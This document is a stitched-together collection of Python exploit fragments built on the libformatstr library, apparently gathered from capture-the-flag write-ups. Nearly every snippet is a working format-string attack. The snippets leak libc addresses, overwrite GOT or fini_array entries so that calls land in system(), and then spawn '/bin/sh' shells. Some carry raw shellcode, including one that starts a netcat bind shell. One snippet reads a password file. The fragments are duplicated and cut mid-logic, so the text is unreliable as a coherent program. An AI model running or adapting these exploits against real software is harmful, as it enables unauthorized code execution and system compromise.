def send_fmt(addr, val): # Send first 4 bytes formatter = FormatStr(isx64=1) formatter[addr] = val & 0xffffffff buf = formatter.payload(6) p.sendline(buf) # Send second 4 bytes formatter = FormatStr(isx64=1) formatter[addr + 4] = val >> 32 buf = formatter.payload(6) p.sendline(buf)
def performTest(name, test): #{{{ """ Given a series of writes in `test', generate a format string and pass it to the vulnerable program. If the writes were successful without destroying any other memory locations, return True. Terminates after 2 seconds to handle infinite loops in libformatstr. """ f = FormatStr(maxbuf) for (k,v) in test.items(): f[k] = v (out, err, fill) = (None, None, None) def sighandler(signum, frame): raise Exception("Command timed out") signal.signal(signal.SIGALRM, sighandler) signal.alarm(2) try: payload = f.payload(offset, padding=shift) if len(payload) > maxbuf: print "[-] payload is longer than allowed (%d vs %s)" % (len(payload), maxbuf) (out, err, fill) = checkOutput(payload) except Exception,e: print "[-] Exception occurred: %s" % e
def performTest(name, test): #{{{ """ Given a series of writes in `test', generate a format string and pass it to the vulnerable program. If the writes were successful without destroying any other memory locations, return True. Terminates after 2 seconds to handle infinite loops in libformatstr. """ f = FormatStr(maxbuf) for (k, v) in test.items(): f[k] = v (out, err, fill) = (None, None, None) def sighandler(signum, frame): raise Exception("Command timed out") signal.signal(signal.SIGALRM, sighandler) signal.alarm(2) try: payload = f.payload(offset, padding=shift) if len(payload) > maxbuf: print "[-] payload is longer than allowed (%d vs %s)" % ( len(payload), maxbuf) (out, err, fill) = checkOutput(payload) except Exception, e: print "[-] Exception occurred: %s" % e
def main(): log.info("Leaking libc base") libc.address = get_libc_base() log.info("libc base : 0x{:x}".format(libc.address)) log.info("libc system: 0x{:x}".format(libc.symbols["system"])) log.info("main : 0x{:x}".format(elf.symbols["main"])) log.info("gets.got : 0x{:x}".format(elf.got["gets"])) log.info("__stack_chk_fail.got: 0x{:x}".format( elf.got["__stack_chk_fail"])) conn = connect() # stage 1 - allow the loader to resolve gets() # Overwrite __stack_chk_fail with main to restart the program log.info("Overwriting __stack_chk_fail with main") p = FormatStr(isx64=1) p[elf.got["__stack_chk_fail"]] = elf.symbols["main"] payload = p.payload(10) log.info(hexdump(payload)) conn.recvuntil("code name:\n") conn.send(payload) conn.recvuntil("password for code name: ") conn.sendline("a" * 200) # Restart the program # stage 2 - partial overwrite of printf() to turn it into system() log.info("Overwriting printf with system") p = FormatStr(isx64=1) p[elf.got["printf"]] = libc.symbols["system"] payload = p.payload(10) log.info(hexdump(payload)) conn.recvuntil("code name:\n") conn.send(payload) conn.recvuntil("password for code name: ") conn.sendline("a" * 200) # Restart the program # stage 3 - send /bin/sh now that printf() is system() log.info("Sending /bin/sh") conn.recvuntil("code name:\n") conn.sendline("/bin/sh") conn.recvuntil("code name: \n") conn.interactive()
def main(): #p = process("./quietmoon") p = remote("localhost", 2901) p.recvuntil("/thecoven/flag?") f = FormatStr(isx64=1) f[moon_addr] = "../../thecoven/flag" p.sendline(f.payload(6, 0, 0)) print p.clean()
s.sendline('0') payload = 'JUNK' * 3 + 'BBB' + p32(got_printf) + "%18$s" s.sendline(payload + 'A' * ((new_len - len(payload)))) s.recvline(timeout=1) s.recvline(timeout=1) s.recvline(timeout=1) s.recvline(timeout=1) s.recvline(timeout=1) s.recvline(timeout=1) s.sendline('2') s.recvuntil('sponsors:\n') leak = s.recvline() s.recvline(timeout=1) s.recvline(timeout=1) s.recvline(timeout=1) s.recvline(timeout=1) s.recvline(timeout=1) s.recvline(timeout=1) print leak print "printf leak : ", hex(u32(leak[4:8])) s.sendline('0') leak_printf = u32(leak[4:8]) offset_libc = leak_printf - offset_printf p = FormatStr() p[got_fread] = offset_libc + offset_system payload = '/bin/sh;' + 'A' * 7 + p.payload(18) print payload s.send(payload + 'A' * ((new_len - len(payload)))) s.sendline('2') s.interactive()
exec(result) # creates 'sc' # Adjust the offset to account for arg0 being the format # string, and the 'XXXX' that we want to skip over. # And then one more for good measure, which I don't understand. offset += 2 # Now that we know the offsets on the stack, we can generate # our format string exploit. # # Note that start_len=2 because of 'c=' that is printed. e = ELF(chal) f = FormatStr() f[e.got['exit']] = sc payload = f.payload(offset, start_len=len('c=XXXX')) payload += cyclic(len(stack_dump) - len(payload)) log.info("Payload created, sending exploit") remote = execute_with_env(payload, padding) remote.clean(2) remote.sendline('id') log.success(remote.recv().strip()) remote.sendline('cat %s' % passfile) password = remote.recv().strip() log.success('Password: %s' % password) print password
if len(argv) >= 2 and argv[1] == "r": p = remote("localhost", 9003) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b main c """ p = gdb.debug(chall, cmd) else: p = process(chall) printf_got = elf.got['printf'] system_plt = elf.plt['system'] log.info("printf@got = 0x{:08x}".format(printf_got)) log.info("system@plt = 0x{:08x}".format(system_plt)) # cache system@libc to got p.recvuntil("$ ") p.sendline("ls") # got overwrite f = FormatStr(isx64=1) # for x86_64 f[printf_got] = system_plt f[printf_got + 4] = 0 p.recvuntil("$ ") p.sendline(f.payload(12)) p.recvuntil("$ ") p.sendline("/bin/sh") p.interactive()
import sys from pwn import * from libformatstr import FormatStr p = process('./pinkiegift.dms') gift = p.recv().split(' ') binsh = int(gift[6], 16) system = int(gift[7], 16) print "Stage 1" fmt = FormatStr() fmt[binsh] = "/bin/sh" p.sendline(fmt.payload(1, 0)) stage1 = p.recv() print "Stage 2" stage2 = "A" * 136 stage2 += p32(system) stage2 += "PADD" stage2 += p32(binsh) p.sendline(stage2) p.recv() p.interactive()
import sys from libformatstr import FormatStr from pwn import * pr = 0x8049934 nao = 0x8048742 main = 0x80485ed strlen = 0x8049a54 local = len(sys.argv) == 1 if not local: s = remote('pwn2.chal.ctf.westerns.tokyo', 16317) else: s = remote('127.0.0.1', 5000) print s.recvline() print s.recv(30) p1 = FormatStr() p1[pr] = main system = 0x08048496 p1[strlen] = system offset = 12 padding = 2 round1 = p1.payload(offset, padding, 18) print round1 s.sendline(round1) log.info("round1 sent!") s.recvline(timeout=10) s.sendline("/bin/sh") s.interactive() s.close()
from libformatstr import FormatStr format_str = FormatStr(50) format_str[0x080496f8] = 0xbffff400 format_exploit = format_str.payload(4) filler += "\x90" * 500 shellcode += "\xeb\x2a\x5e\x31\xc0\x88\x46\x07\x88\x46\x0f\x88\x46\x19\x89\x76\x1a\x8d\x5e\x08\x89\x5e" shellcode += "\x1e\x8d\x5e\x10\x89\x5e\x22\x89\x46\x26\xb0\x0b\x89\xf3\x8d\x4e\x1a\x8d\x56\x26\xcd\x80" shellcode += "\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x63\x23\x2d\x6c\x70\x38\x30\x38\x30\x23\x2d" shellcode += "\x65\x2f\x62\x69\x6e\x2f\x73\x68\x23" print format_exploit + filler + shellcode
system_offset = 0x0009a310 system_addr = fputs_addr - fputs_offset + system_offset print "system addr: " + hex(system_addr) io_bin.writeline('2') io_bin.read_until('Please input blog content:') payload1 = "\x00" io_bin.writeline(payload1) muhe_time = int(time.time()) #format sting p = FormatStr() p[fputs_got] = system_addr payload = p.payload(74,start_len=0x0) io_pyc = zio(target_pyc, timeout=10000, print_read=COLORED(RAW, 'yellow'), print_write=COLORED(RAW, 'green')) WriteBlog(io_pyc,payload) muhe_time = int(time.time()) Exit(io_pyc) io_pyc.close() #format str vuln raw_input('$$$') name = str(muhe_time) + ".em\x00" io_bin.read_until('choice:') io_bin.writeline('3') io_bin.read_until('Please input blog name:') io_bin.writeline(name)
#!/usr/bin/env python2.7 # coding: UTF-8 from libformatstr import FormatStr from pwn import * context.log_level = 'debug' s = remote('pwn2.chal.ctf.westerns.tokyo', 16317) # objdump -t greeting fini_array_addr = 0x8049934 # call when program exit main_addr = 0x80485ed strlen_addr = 0x8049a54 system_addr = 0x08048496 print s.recvline() fsb = FormatStr() # got overwrite fsb[fini_array_addr] = main_addr fsb[strlen_addr] = system_addr offset = 12 padding = 2 # %2034c%22$hn%23$hn%31890c%24$hn%343c%25$hn6\x99\x0V\x9a\x0T\x9a\x04\x99\x0/bin/sh payload = fsb.payload(offset, padding, 18) + '/bin/sh' s.sendline(payload) s.interactive() s.close()
from pwn import * from libformatstr import FormatStr OFFSET = 10 SYSTEM = 0x08048570 EXIT = 0x0804a034 PRINTF = 0x0804a02c MAIN_GETS = 0x0804876c #r = remote("localhost", 2015) r = remote("163.172.176.29", 9035) print r.recv(1024) def read_addr(addr): a = p32(addr) r.send(a + "$10%s" + "\n") r.recvuntil("Bye") res = r.recv() print res p = FormatStr() p[EXIT] = MAIN_GETS p[PRINTF] = SYSTEM payload = p.payload(10, start_len=70) raw_input("wait") r.send(payload + "\n") #At this point, we have a successful loop back around r.interactive()
shellcode = exe_base + shellcode_off default_fn = exe_base + default_fn_off log.info('exe_base = 0x%x', exe_base) log.info('fn = 0x%x', fn) log.info('seed = 0x%x', seed) log.info('shellcode = 0x%x', shellcode) log.info('default_fn = 0x%x', default_fn) shellcode = struct.pack('<Q', shellcode) default_fn = struct.pack('<Q', default_fn) for i in reversed(range(7)): if shellcode[i] != default_fn[i]: break i += 1 log.info('i = %d', i) io.recvuntil('4. Quit') io.sendline('1') io.recvuntil('Username:'******'<I', seed_val) payload = fmt.payload(24) log.info('payload = %s', payload) assert len(payload) < 80 io.sendline(payload) io.recvuntil('4. Quit') io.sendline('2') for i in range(7): io.recvuntil(f'Secret #{i + 1}:') io.sendline(str(secrets[i])) io.interactive()
#''') offset_to_ret = 204 offset = 7 padding = 0 written = 0 pay = '%5$x' cn.recv() cn.sendline(pay) addr_arg = cn.recv() addr_arg = int(addr_arg[:7], 16) - 24 print hex(addr_arg) s = FormatStr() s[addr_arg] = 1000 cn.sendline(s.payload(offset, padding, written)) cn.sendline(pay) cn.recv() addr_ret = addr_arg + offset_to_ret shellcode = asm('\n'.join([ 'push %d' % u32('/sh\0'), 'push %d' % u32('/bin'), 'mov ebx, esp', 'xor ecx, ecx', 'xor edx, edx', 'mov eax, 11', 'int 0x80', ])) p = FormatStr()
# 1st main index = 7 fini_array = 0x80496dc main = 0x804849b offset_got_start = 0x80497ec offset_retaddr_from_buf = (0x5d0 - 0x1b0) / 4 buf = p32(offset_got_start) buf += "%7$s" buf += "%" + str(offset_retaddr_from_buf) + "$08x" p = FormatStr() p[fini_array] = main s.send(buf + p.payload(index + len(buf) / 4, start_len=len(buf)) + "\n") read_until(f, "RESPONSE :") ret_addr = s.recv(16) libc_start_addr = u32(ret_addr[4:8]) offset_libc_start_main = 0x19990 base_libc = libc_start_addr - offset_libc_start_main buf_addr = int(ret_addr[8:], 16) - (0x5f0 - 0x1b0) print "[+] libc base addr %08x" % base_libc print "[+] buf addr %08x" % buf_addr # 2nd main system_addr = base_libc + 0x3e800 p = FormatStr() ret_addr = buf_addr + (0x5ec - 0x1b0 - 0xe0)
addr_start_main = u32(read_until(f)[5:9]) base_libc = addr_start_main - offset_start_main print "[+] addr_start_main: %08x" % addr_start_main print "[+] base_libc: %08x" % base_libc # leak stack addr_input = base_libc - offset_input buf = p32(addr_input - 32) buf += "%6$s" read_until(f, "Enter your message:") s.send(buf + "\n") read_until(f, "Entered:") addr_buf = u32(read_until(f)[5:9]) addr_ret = addr_buf + 1056 print "[+] addr input: %08x" % addr_input print "[+] addr_buf: %08x" % addr_buf print "[+] addr_ret: %08x" % addr_ret # ret2libc addr_system = base_libc + offset_system addr_binsh = base_libc + offset_binsh read_until(f, "Enter your message:") p = FormatStr() p[addr_ret] = addr_system p[addr_ret + 4] = "AAAA" p[addr_ret + 8] = addr_binsh buf = p.payload(index) s.send(buf + "\n") shell(s)
Send(payload1) print Receive('input your choice:') Send('3\n') print Receive('Your message is:') rdata=sok.recv(8) #leakage the address of libc_main print rdata addr_libc_main=struct.unpack('I',rdata[-4:])[0] print 'the address of libc_main:',hex(addr_libc_main) baseaddr_libc=addr_libc_main-offset_libc_main print 'base address of libc:',hex(baseaddr_libc) systemaddr=baseaddr_libc+offset_system print 'address of system:',hex(systemaddr) #use the libformatstr to exploit p=FormatStr() p[got_memset]=systemaddr #override the address of memset with the address of system payload2=p.payload(7,start_len=0)+'\n' #overide the addre of memset with address of system print Receive('input your choice:') Send('2\n') print Receive('input your message') Send(payload2) print 'insert the payload2' print Receive('input your choice:') Send('3\n') #exploit the formatstr vulner print Receive('input your choice:') Send('2\n') print Receive('input your message') Send('sh\n') print Receive('input your choice:') Send('2\n')
p.recvuntil('?') p.sendline('lol') p.recvuntil('Santa') p.sendline('%41$p') p.recvuntil(': ') libc_start_main = int(p.recvuntil('\n')[:-1], 16) libc_base = libc_start_main - (libc.symbols['__libc_start_main'] + 231) p.sendline('%38$p') p.recvuntil(': ') stack_leak = int(p.recvuntil('\n')[:-1], 16) jump = hex(libc_base + pop_rdi)[2:] f = FormatStr(isx64=1) f[stack_leak - 0xd8] = int('0x' + jump[-4:], 16) p.sendline(f.payload(6, start_len=0)) p.recvuntil('\x7f') f = FormatStr(isx64=1) f[stack_leak - 0xd8 + 2] = int('0x' + jump[-8:-4], 16) p.sendline(f.payload(6, start_len=0)) p.recvuntil('\x7f') f[stack_leak - 0xd8 + 4] = int('0x' + jump[:4], 16) p.sendline(f.payload(6, start_len=0)) p.recvuntil('\x7f') p.sendline('%41$p') p.recvuntil(': ') if libc_base + pop_rdi == int(p.recvuntil('\n')[:-1], 16): print 'Done 1' jump = hex(stack_leak - 0xc0)[2:]
context.log_level = 'debug' context.terminal = ['terminator', '-x', 'bash', '-c'] elf = './greeting' bin = ELF(elf) local = 1 if local: cn = process(elf) else: cn = remote('', ) offset = 12 padding = 2 addr_fini_array = 0x8049934 addr_system = bin.plt['system'] addr_main = bin.symbols['main'] got_strlen = bin.got['strlen'] p = FormatStr() p[addr_fini_array] = addr_main p[got_strlen] = addr_system cn.sendline(p.payload(offset, padding, 18)) pay = "/bin/sh" cn.sendline(pay) cn.interactive()
# b *0x804862f # ret from main b *0x8048656 c ''') else: io = remote('p1.tjctf.org', 8004) io.recvuntil('What is your name?\n') # 08049bac <.fini_array>: 0x08048500 <__do_global_dtors_aux> -> 08048536 <main> fmt1 = FormatStr() fmt1[0x08049bac] = struct.pack('<H', 0x8536) fmt_leak = b'%19$08x%79$08x ' assert len(fmt_leak) % 4 == 0 arg_index = 7 + len(fmt_leak) // 4 start_len = 8 * 2 + 2 io.sendline(fmt_leak + fmt1.payload(arg_index=arg_index, start_len=start_len)) io.recvuntil('You are on the NAUGHTY LIST ') stack = int(io.recv(8), 16) print(f'stack: 0x{stack:016x}') libc = int(io.recv(8), 16) - 0x18e81 print(f'libc: 0x{libc:016x}') assert libc & 0xfff == 0 io.recvuntil('What is your name?\n') # printf@got = system # ret = main fmt2 = FormatStr() fmt2[0x8049cb0] = libc + 0x3cd10 fmt2[stack - 0x98] = 0x8048536 io.sendline(fmt2.payload(arg_index=7, start_len=0))
# Adjust the offset to account for arg0 being the format # string, and the 'XXXX' that we want to skip over. # And then one more for good measure, which I don't understand. offset += 2 # Now that we know the offsets on the stack, we can generate # our format string exploit. # # Note that start_len=2 because of 'c=' that is printed. e = ELF(chal) f = FormatStr() f[e.got['exit']]=sc payload = f.payload(offset, start_len= len('c=XXXX')) payload += cyclic(len(stack_dump) - len(payload)) log.info("Payload created, sending exploit") remote = execute_with_env(payload, padding) remote.clean(2) remote.sendline('id') log.success(remote.recv().strip()) remote.sendline('cat %s' % passfile) password = remote.recv().strip() log.success('Password: %s' % password) print password
binsh = pointers[6] system = pointers[7] print "binsh is",binsh print "system is",system #convert strings to hex ints system = int(system, 16) binsh = int(binsh, 16) system = struct.pack("<I",system) # first argument is read by fgets(), but contains a format string vulnerability # Try to write "/bin/sh" to the binsh address provided # use libformatstr library to simplify exploitation fmt = FormatStr() # write the string "/bin/sh" fmt[binsh] = "/bin/sh" # the buffer is the first argument and requires 0 bytes of padding print "The payload will be " + fmt.payload(1,0) p.sendline(fmt.payload(1,0)) # second arg is read by gets() and vulnerable to an overflow # 136-byte offset + eip overwrite with system() + fake frame pointer + binsh exploit = "A" * 136 + system + "B" * 4 + struct.pack("<I",binsh) p.sendline(exploit) p.interactive() p.close()
puts_got = 0x08049A48 print_addr = 0x080486C7 no_whitespace_shellcode = '\x31\xc0\xb0\x30\x01\xc4\x30\xc0\x50\x68\x2f\x2f\x73\x68' \ '\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\xb0\xb0\xc0\xe8\x04' \ '\xcd\x80\xc0\xe8\x03\xcd\x80' r = remote('pwning.pwnable.tw', 56026) # Change the GOT entry of puts to the address right before the # format string bug and leak some information about stack at # the same time. This allows us to exploit the same bug again # with all information needed. print r.recvuntil(':') fmt = FormatStr() fmt[puts_got] = print_addr r.sendline(fmt.payload(argnum, padding) + '%33$x') # Calculate the address where the shellcode is going to be placed # from the information leaked by the format string '%33$x' above. result = r.recvuntil(':') print result print 'stack debris:', result[-34:-26] shellcode_addr = int(result[-34:-26], 16) - 216 print 'shellcode address:', hex(shellcode_addr) # Change the GOT entry of puts to the address of the shellcode fmt = FormatStr() fmt[puts_got] = shellcode_addr r.sendline(fmt.payload(argnum, padding) + no_whitespace_shellcode) sleep(0.5)
x = leak_stack() time.sleep(0.3) # Overwrite n with 255 r.sendline(p(x + n_offset) + '%251c%6$n') time.sleep(0.3) # Write 0x4 to var_224 to proceed r.sendline(p(x + var_224) + '%6$n') time.sleep(0.3) # Write 0x79c to var_14 r.sendline(p(x + var_14) + '%1944c%6$n') time.sleep(0.3) # Next fgets reads 255 bytes # NOTE: This will give an error 60% of the time due to some weird bug in libformatstr. Just keep running the script. f = FormatStr() f[0x0804a02c] = 0x0804a024 f[0x0804a024] = "/bin/sh\0" f[x + ret_offset] = 0x08048506 # Write "/bin/sh" into .data, overwrite string pointer, overwrite return address of main with address of __libc_win_more payload = f.payload(6) r.sendline(payload) time.sleep(0.3) r.clean() r.interactive()
#print len(payload) -> 60 payload += flag ''' payload = [ p(system_addr), p(0xdeadbeef), p(binsh_addr), ] len_payload = len(payload) print "[+] Sending payloads..." #payload = "AABBBBBB" print "[*] num of rounds: ", len_payload #print "open: ",hex(u(payload[0])) # for stack space, split payload for i in range(len_payload): print "[*] Round: ", i read_until(f, "name?\n") p = FormatStr() p[old_ebp + 4 + 4 * i] = payload[i] f.write(p.payload(7) + "\n") print read_until(f, "name?\n") f.write("\n") print read_line(f) interact(s)